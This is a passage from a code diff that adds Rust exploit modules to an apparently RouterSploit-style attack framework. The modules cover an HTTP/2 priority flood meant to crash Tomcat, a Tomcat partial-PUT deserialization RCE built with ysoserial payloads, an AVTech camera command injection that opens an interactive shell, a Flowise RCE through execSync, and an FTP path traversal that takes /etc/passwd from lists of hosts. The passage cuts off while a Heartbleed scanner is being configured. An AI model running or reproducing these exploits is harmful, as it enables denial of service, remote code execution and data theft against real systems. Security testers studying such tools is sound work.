let mut handles = Vec::new();
for i in 0..num_tasks {
let h = clean_host.clone();
handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i)));
}
for handle in handles {
let _ = handle.await;
}
monitor_handle.abort();
}
Ok(false) => {
bail!("Target does not support HTTP/2. Exploit not applicable.");
}
Err(e) => {
eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red());
return Err(e);
}
}
Ok(())
}
async fn prompt_for_port() -> Option<u16> {
print!("{}", "Enter target port (default 443): ".cyan());
tokio::io::stdout()
.flush()
.await
.ok()?;
let mut buffer = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut buffer)
.await
.ok()?;
let trimmed = buffer.trim();
if trimmed.is_empty() {
Some(443)
} else {
trimmed.parse::<u16>().ok()
}
}
fn strip_ipv6_brackets(host: &str) -> String {
host.trim_matches(|c| c == '[' || c == ']').to_string()
}
fn validate_url(url: &str) -> Result<(String, u16)> {
let parsed = url::Url::parse(url)?;
let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string();
let port = parsed.port_or_known_default().unwrap_or(443);
Ok((host, port))
}
async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
let client = ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("https://{}:{}/", host, port);
let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await;
match resp {
Ok(response) => {
if response.version() == reqwest::Version::HTTP_2 {
println!("{}", "HTTP/2 supported! Proceeding ...".green());
Ok(true)
} else {
println!("{}", "Server responded, but HTTP/2 not used.".yellow());
Ok(false)
}
}
Err(e) => {
println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red());
Ok(false)
}
}
}
async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) {
let priorities = get_invalid_priorities();
let client = match ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(300))
.build()
{
Ok(c) => c,
Err(_) => return,
};
let url = format!("https://{}:{}/", host, port);
for _ in 0..count {
let prio = priorities.choose(&mut rand::rng())
.map(|s| s.to_string())
.unwrap_or_else(|| "u=0".to_string());
let headers = [
("priority", prio),
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
("cache-control", "no-cache".to_string()),
("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))),
];
let mut req = client.get(&url);
for (k, v) in headers.iter() {
req = req.header(*k, v);
}
let _ = req.send().await;
}
}
async fn monitor_server(host: String, port: u16) {
loop {
let addr_result = format!("{}:{}", host, port).to_socket_addrs();
match addr_result {
Ok(mut addrs) => {
if let Some(addr) = addrs.next() {
if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() {
println!("{}", format!("Target {}:{} is reachable.", host, port).yellow());
} else {
println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red());
break;
}
} else {
println!("{}", "DNS lookup failed.".red());
break;
}
}
Err(_) => {
println!("{}", "Failed to resolve host for monitoring.".red());
break;
}
}
sleep(Duration::from_secs(2)).await;
}
}
fn get_invalid_priorities() -> Vec<&'static str> {
vec![
"u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid",
"u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2",
"u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=",
"u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295",
"u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid",
"u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%",
"u=0, q=0, null=0",
]
}
@@ -0,0 +1,340 @@
use anyhow::{bail, Context, Result};
use crate::utils::validate_command_input;
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::path::Path;
use std::process::{Command, Stdio};
use std::time::Duration;
use tokio::fs::{read, remove_file};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const BANNER: &str = r#"
"#;
/// // Sanitize IPv6 URL
fn sanitize_target(raw: &str) -> String {
let fixed = raw.replace("[[", "[").replace("]]", "]");
if fixed.starts_with("http://") || fixed.starts_with("https://") {
fixed
} else {
format!("http://{}", fixed)
}
}
/// Prompt helper with proper error handling
async fn prompt(message: &str, default: Option<&str>) -> Result<String> {
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut buf = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut buf)
.await
.context("Failed to read user input")?;
let input = buf.trim();
if input.is_empty() {
Ok(default.unwrap_or("").to_string())
} else {
Ok(input.to_string())
}
}
/// // Check if server is writable
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
let check_url = format!("{}/check.txt", target_url);
let res = client
.put(&check_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body("testdata".to_string())
.timeout(Duration::from_secs(10))
.send()
.await?;
if res.status() == StatusCode::OK || res.status() == StatusCode::CREATED {
println!("[+] Server is writable via PUT: {check_url}");
Ok(true)
} else {
println!("[-] Server not writable: HTTP {}", res.status());
Ok(false)
}
}
/// // Generate a raw Java payload JAR via `javac` and `jar`
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
// Command is already validated before calling this function
let payload_java = format!(
r#"
import java.io.IOException;
import java.io.PrintWriter;
public class Exploit {{
static {{
try {{
String cmd = "{cmd}";
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(
Runtime.getRuntime().exec(cmd).getInputStream()
));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {{
output.append(line).append("\\n");
}}
PrintWriter out = new PrintWriter(System.out);
out.println(output.toString());
out.flush();
}} catch (IOException e) {{
e.printStackTrace();
}}
}}
}}
"#,
cmd = command
);
println!("[*] Generating Java payload using system javac and jar...");
std::fs::write("Exploit.java", &payload_java)?;
let compile = Command::new("javac").arg("Exploit.java").status()?;
if !compile.success() {
bail!("[-] javac failed. Make sure JDK is installed.");
}
let package = Command::new("jar")
.args(["cfe", payload_file, "Exploit", "Exploit.class"])
.status()?;
if !package.success() {
bail!("[-] jar packaging failed.");
}
std::fs::remove_file("Exploit.java").ok();
std::fs::remove_file("Exploit.class").ok();
println!("[+] Java payload JAR created: {}", payload_file);
Ok(())
}
/// // Generate ysoserial payload
fn generate_ysoserial_payload(command: &str, ysoserial_path: &str, gadget: &str, payload_file: &str) -> Result<()> {
if !Path::new(ysoserial_path).exists() {
bail!("[-] Error: {} not found", ysoserial_path);
}
println!("[*] Generating ysoserial payload: {}", command);
let output = Command::new("java")
.args(["-jar", ysoserial_path, gadget, &format!("cmd.exe /c {}", command)])
.stdout(Stdio::piped())
.spawn()?
.wait_with_output()?;
std::fs::write(payload_file, output.stdout)?;
println!("[+] Payload generated: {payload_file}");
Ok(())
}
/// // Upload and verify payload
async fn upload_and_verify_payload(
client: &Client,
target_url: &str,
host: &str,
port: &str,
session_id: &str,
payload_file: &str,
) -> Result<bool> {
let exploit_url = format!("{}/uploads/../sessions/{}.session", target_url, session_id);
let payload = read(payload_file).await?;
let res = client
.put(&exploit_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body(payload)
.send()
.await?;
if res.status() == StatusCode::CONFLICT {
println!("[+] Upload successful (409): {}", exploit_url);
let confirm = client
.get(target_url)
.header("Cookie", "JSESSIONID=absholi7ly")
.send()
.await?;
if confirm.status() == StatusCode::INTERNAL_SERVER_ERROR {
println!("[+] Exploit triggered! Server returned 500.");
Ok(true)
} else {
println!("[-] Trigger failed: {}", confirm.status());
Ok(false)
}
} else {
println!("[-] Upload failed: HTTP {}", res.status());
Ok(false)
}
}
/// // Get session ID
async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
let res = client
.get(&format!("{}/index.jsp", target_url))
.send()
.await?;
let body = res.text().await?;
let re = Regex::new(r"Session ID: (\w+)")?;
if let Some(caps) = re.captures(&body) {
return Ok(caps[1].to_string());
}
println!("[-] No session ID found. Using default.");
Ok("absholi7ly".to_string())
}
/// // Exploit logic
async fn execute_exploit(
target_url: &str,
port: &str,
command: &str,
ysoserial_path: &str,
gadget: &str,
payload_type: &str,
verify_ssl: bool,
) -> Result<()> {
// Extract host from URL safely
let host = target_url
.split("://")
.nth(1)
.unwrap_or(target_url)
.trim_matches('/')
.split(':')
.next()
.ok_or_else(|| anyhow::anyhow!("Failed to extract host from URL: {}", target_url))?;
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
let session_id = get_session_id(&client, target_url).await?;
println!("[*] Session ID: {session_id}");
if check_writable_servlet(&client, target_url, host, port).await? {
let payload_file = "payload.ser";
// Validate command input to prevent injection
let validated_command = validate_command_input(command)
.map_err(|e| anyhow::anyhow!("Invalid command: {}", e))?;
match payload_type {
"java" => generate_java_payload(&validated_command, payload_file)?,
"ysoserial" => generate_ysoserial_payload(&validated_command, ysoserial_path, gadget, payload_file)?,
_ => bail!("[-] Invalid payload type: {}", payload_type),
}
if upload_and_verify_payload(&client, target_url, host, port, &session_id, payload_file).await? {
println!("[+] Target vulnerable to CVE-2025-24813!");
} else {
println!("[-] Exploit failed or target not vulnerable.");
}
remove_file(payload_file).await.ok();
}
Ok(())
}
/// // Entry point
pub async fn run(target: &str) -> Result<()> {
println!("{BANNER}");
let mut target = sanitize_target(target);
println!("[+] Target sanitized: {}", target);
let mut command = String::from("calc.exe");
let mut port = prompt("Enter port (default 8080)", Some("8080")).await?;
println!("[+] Default port set to {}", port);
let mut ysoserial_path = String::from("ysoserial.jar");
let mut gadget = String::from("CommonsCollections6");
let mut payload_type = String::from("ysoserial");
let mut ssl_verify = true;
loop {
println!(
r#"
=== MENU ===
1. Set Target URL (current: {target})
2. Set Command (current: {command})
3. Set Port (current: {port})
4. Set ysoserial Path (current: {ysoserial_path})
5. Set Gadget (current: {gadget})
6. Set Payload Type (current: {payload_type})
7. Toggle SSL Verify (current: {ssl_verify})
8. Run Exploit
9. Exit
"#
);
let selection = prompt("Select an option", None).await?;
match selection.as_str() {
"1" => {
target = prompt("Enter target URL", Some(&target)).await?;
println!("[+] Target updated: {target}");
}
"2" => {
command = prompt("Enter command to execute", Some(&command)).await?;
println!("[+] Command set: {command}");
}
"3" => {
port = prompt("Enter port", Some(&port)).await?;
println!("[+] Port set: {port}");
}
"4" => {
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path)).await?;
println!("[+] ysoserial path set: {ysoserial_path}");
}
"5" => {
gadget = prompt("Enter gadget", Some(&gadget)).await?;
println!("[+] Gadget set: {gadget}");
}
"6" => {
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type)).await?;
if payload_type != "ysoserial" && payload_type != "java" {
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
payload_type = "ysoserial".into();
} else {
println!("[+] Payload type set: {payload_type}");
}
}
"7" => {
ssl_verify = !ssl_verify;
println!("[!] SSL verification toggled: {ssl_verify}");
}
"8" => break,
"9" => {
println!("[!] Exiting without running exploit.");
return Ok(());
}
_ => println!("[-] Invalid option. Please choose 1-9."),
}
}
println!("[*] Starting exploit with:");
println!(" Target URL : {target}");
println!(" Command : {command}");
println!(" Port : {port}");
println!(" ysoserial : {ysoserial_path}");
println!(" Gadget : {gadget}");
println!(" SSL Verify : {ssl_verify}");
execute_exploit(&target, &port, &command, &ysoserial_path, &gadget, &payload_type, ssl_verify).await
}
@@ -0,0 +1,3 @@
pub mod cve_2025_24813_apache_tomcat_rce;
pub mod catkiller_cve_2025_31650;
@@ -0,0 +1,157 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use std::path::Path;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_PORT: &str = "80";
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
ip.to_string()
} else {
format!("http://{}", ip)
};
let port = port.trim();
if port.is_empty() {
with_scheme
} else if with_scheme.contains(':') {
with_scheme // already has port
} else {
format!("{}:{}", with_scheme, port)
}
}
/// Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
println!("{}", "[*] Checking vulnerability...".cyan());
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", "1;echo_CVE7029;");
let resp = client.get(url).send().await?;
let body = resp.text().await?;
Ok(body.contains("echo_CVE7029"))
}
/// Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = tokio::io::stdin();
let mut lines = tokio::io::BufReader::new(stdin).lines();
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
loop {
print!("{}", "cve7029-shell> ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
if let Some(cmd) = lines.next_line().await? {
let cmd = cmd.trim();
if cmd.eq_ignore_ascii_case("exit") {
println!("{}", "[*] Exiting shell...".yellow());
break;
}
if cmd.is_empty() {
continue;
}
match exec_cmd(client, base, cmd).await {
Ok(out) => println!("{}", out),
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
} else {
break;
}
}
Ok(())
}
/// // Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
use crate::utils::escape_shell_command;
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
// Escape command to prevent injection of additional shell commands
let escaped_cmd = escape_shell_command(cmd);
let payload = format!("1;{};", escaped_cmd);
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", &payload);
let response = client.get(url).send().await?;
Ok(response.text().await?)
}
/// Prompt user for a custom port number
async fn prompt_port() -> Result<String> {
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port)
.await
.context("Failed to read port")?;
let port = port.trim();
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
}
/// Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
let port = prompt_port().await?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
// Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
tokio::fs::read_to_string(target)
.await?
.lines()
.map(str::to_string)
.filter(|s| !s.trim().is_empty())
.collect::<Vec<_>>()
} else {
vec![target.to_string()]
};
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
println!();
for raw_ip in &targets {
let url = normalize_url(raw_ip, &port);
println!("{}", format!("[*] Testing: {}", url).yellow());
if check_vuln(&client, &url).await? {
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
interactive_shell(&client, &url).await?;
} else {
println!("{}", format!("[-] {} is not vulnerable", url).red());
}
println!();
}
println!("{}", "[*] Scan complete.".cyan());
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod cve_2024_7029_avtech_camera;
@@ -0,0 +1,205 @@
// CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution
// Exploit Author: nltt0 (https://github.com/nltt-br)
// Vendor Homepage: https://flowiseai.com/
// Software Link: https://github.com/FlowiseAI/Flowise
// Version: < 3.0.5
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::escape_js_command;
use reqwest::Client;
use serde_json::json;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
__/ |
|___/
by nltt0
"#
.cyan()
);
}
/// Login to Flowise and return authenticated session
async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result<String> {
let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/'));
let data = json!({
"email": email,
"password": password
});
let response = client
.post(&login_url)
.header("x-request-from", "internal")
.header("Accept-Language", "pt-BR,pt;q=0.9")
.header("Accept", "application/json, text/plain, */*")
.header("Content-Type", "application/json")
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")
.header("Origin", "http://workflow.flow.hc")
.header("Referer", "http://workflow.flow.hc/signin")
.header("Accept-Encoding", "gzip, deflate, br")
.header("Connection", "keep-alive")
.json(&data)
.send()
.await
.context("Failed to send login request")?;
if response.status().is_success() {
// Extract session token/cookie from response
// The actual token extraction depends on Flowise's response format
// For now, we'll use the cookie jar from the client
Ok("authenticated".to_string())
} else {
Err(anyhow!("Login failed with status: {}", response.status()))
}
}
/// Execute remote code via the customMCP endpoint
async fn execute_rce(
client: &Client,
url: &str,
email: &str,
password: &str,
cmd: &str,
) -> Result<()> {
// First, login to get authenticated session
println!("{}", "[*] Attempting to login...".yellow());
login(client, url, email, password).await?;
println!("{}", "[+] Login successful".green());
let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
// Escape the command for JavaScript execution with shell metacharacter protection
// execSync executes in a shell, so we need to escape both JS and shell metacharacters
let escaped_cmd = escape_js_command(cmd, true);
// Construct the malicious payload
let command = format!(
r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#,
escaped_cmd
);
let data = json!({
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": command
}
});
println!("{}", format!("[*] Executing command: {}", cmd).yellow());
let response = client
.post(&rce_url)
.header("x-request-from", "internal")
.header("Content-Type", "application/json")
.json(&data)
.send()
.await
.context("Failed to send RCE request")?;
if response.status() == 401 {
// Retry with internal header if we get 401
println!("{}", "[*] Received 401, retrying with internal header...".yellow());
let retry_response = client
.post(&rce_url)
.header("x-request-from", "internal")
.json(&data)
.send()
.await
.context("Failed to retry RCE request")?;
if retry_response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red());
}
} else if response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red());
}
Ok(())
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
println!("{}", format!("[*] Target URL: {}", base_url).yellow());
// Build HTTP client with cookie support and SSL verification disabled
let client = Client::builder()
.timeout(Duration::from_secs(30))
.danger_accept_invalid_certs(true)
.cookie_store(true)
.build()
.context("Failed to create HTTP client")?;
// Prompt for credentials and command
let mut email = String::new();
let mut password = String::new();
let mut command = String::new();
print!("{}", "Email: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut email)
.await
.context("Failed to read email")?;
print!("{}", "Password: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut password)
.await
.context("Failed to read password")?;
print!("{}", "Command to execute: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut command)
.await
.context("Failed to read command")?;
let email = email.trim();
let password = password.trim();
let command = command.trim();
if email.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Email, password, and command must be provided"));
}
execute_rce(&client, &base_url, email, password, command).await?;
Ok(())
}
+2
View File
@@ -0,0 +1,2 @@
pub mod cve_2025_59528_flowise_rce;
+1
View File
@@ -0,0 +1 @@
pub mod pachev_ftp_path_traversal_1_0;
@@ -0,0 +1,216 @@
use anyhow::{anyhow, Result, Context};
use suppaftp::FtpStream;
use std::fs::{File, OpenOptions};
use std::io::{BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::*; // // Colorful output
use std::time::Duration;
use tokio::time::timeout;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
fn format_addr(target: &str, port: u16) -> String {
let mut clean = target.trim().to_string();
while clean.starts_with('[') && clean.ends_with(']') {
clean = clean[1..clean.len() - 1].to_string();
}
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
// // Actual FTP path traversal exploit
fn exploit_target(target: String, port: u16) -> Result<String> {
let addr = format_addr(&target, port);
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
// Connect to FTP server
let mut ftp = FtpStream::connect(&addr)
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
let safe_name = target.replace(['[', ']', ':'], "_");
let out_file = format!("{}_passwd.txt", safe_name);
let mut file = File::create(&out_file)?;
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
std::io::copy(reader, &mut file)
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
std::io::ErrorKind::Other,
format!("Failed to write file: {}", e)
)))?;
Ok(())
})
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
ftp.quit().ok();
println!("{}", format!("[+] File saved as {}", out_file).green());
Ok(format!("{} SUCCESS", target))
}
// // Save result line into `results.txt`
fn save_result(line: &str) -> Result<()> {
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open("results.txt")?;
writeln!(file, "{}", line)?;
Ok(())
}
// // Public auto-dispatch entry point
pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port")?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
21
} else {
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
};
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut use_list = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut use_list)
.await
.context("Failed to read list choice")?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
print!("{}", "Enter path to the IP list file: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut path = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut path)
.await
.context("Failed to read file path")?;
let path = path.trim();
if !Path::new(path).exists() {
return Err(anyhow!("List file does not exist: {}", path));
}
let file = File::open(path)?;
let reader = BufReader::new(file);
let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS));
let mut futures = FuturesUnordered::new();
for line_result in reader.lines() {
match line_result {
Ok(ip) => {
let ip = ip.trim();
if ip.is_empty() {
continue;
}
let ip_owned = ip.to_string();
let ip_for_errors = ip_owned.clone(); // Clone for error messages
let port = port;
let permit = semaphore.clone().acquire_owned().await?;
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
futures.push(tokio::spawn(async move {
let _permit = permit; // // Hold permit alive
let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e));
}
Ok(Err(e)) => {
println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e));
}
Err(_) => {
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", ip_for_errors));
}
}
Ok::<(), anyhow::Error>(())
}));
}
Err(e) => {
println!("{}", format!("[!] Failed to read line: {}", e).red());
}
}
}
// // Wait for all tasks to complete
while let Some(res) = futures.next().await {
if let Err(e) = res {
println!("{}", format!("[!] Task error: {}", e).red());
}
}
} else {
// // Single target mode
let target_owned = target.to_string();
let port = port;
println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow());
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[-] Exploit error: {}", e).red());
let _ = save_result(&format!("{} FAIL: {}", target, e));
}
Ok(Err(e)) => {
println!("{}", format!("[-] Join error: {}", e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", target, e));
}
Err(_) => {
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", target));
}
}
}
Ok(())
}
+515
View File
@@ -0,0 +1,515 @@
use anyhow::{Context, Result, bail};
use std::fs::File;
use std::io::{BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::Colorize;
const MAX_RETRIES: u32 = 3;
const INITIAL_BACKOFF_MS: u64 = 500;
const MAX_CONCURRENT: usize = 10;
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
#[derive(Clone)]
pub struct ScanConfig {
pub port: u16,
pub payload_size: u16,
pub heartbeat_attempts: usize,
pub batch_file: Option<String>,
}
impl Default for ScanConfig {
fn default() -> Self {
Self {
port: 443,
payload_size: 0x4000,
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
batch_file: None,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let config = get_user_config(target).await?;
run_with_config(target, config).await
}
async fn get_user_config(target: &str) -> Result<ScanConfig> {
let mut config = ScanConfig::default();
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
println!();
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read port input")?;
if let Ok(port) = input.trim().parse::<u16>() {
if port > 0 {
config.port = port;
}
}
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read payload size input")?;
if let Ok(size) = input.trim().parse::<u16>() {
if size > 0 && size <= 0x4000 {
config.payload_size = size;
} else if size > 0x4000 {
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
config.payload_size = 0x4000;
}
}
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read heartbeat attempts input")?;
if let Ok(attempts) = input.trim().parse::<usize>() {
if attempts > 0 && attempts <= 20 {
config.heartbeat_attempts = attempts;
